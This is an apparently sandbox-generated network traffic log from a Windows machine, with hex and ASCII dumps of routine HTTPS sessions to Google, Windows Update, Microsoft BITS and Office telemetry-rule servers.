2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700243,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 Data Ascii: ow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(
2024-11-25 17:28:19 UTC	1390	IN	Data Raw: 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c Data Ascii: uerySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"cl
2024-11-25 17:28:20 UTC	1390	IN	Data Raw: 6e 20 5f 2e 6f 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e Data Ascii: n _.oe(document,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.181.68	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:19 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 17:28:19 UTC	933	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 17:28:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 17:28:19 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-25 17:28:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49723	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 17:28:23 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=57872 Date: Mon, 25 Nov 2024 17:28:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x1bsp7pwucEGAKE&MD=+f6+A7Mr HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 17:28:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6a769fcb-4354-4598-80e0-39e3d8c790dc MS-RequestId: d794e1c7-cf16-4ba6-91e1-044949d3a6a7 MS-CV: SsUURVXBPU615MpE.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 17:28:24 GMT Connection: close Content-Length: 24490
2024-11-25 17:28:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 17:28:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:25 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:25 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:25 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172825Z-178bfbc474bv7whqhC1NYC1fg400000007sg00000000dzv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:25 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 17:28:25 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-25 17:28:25 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-25 17:28:26 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-25 17:28:26 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-25 17:28:26 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-25 17:28:26 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-25 17:28:26 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
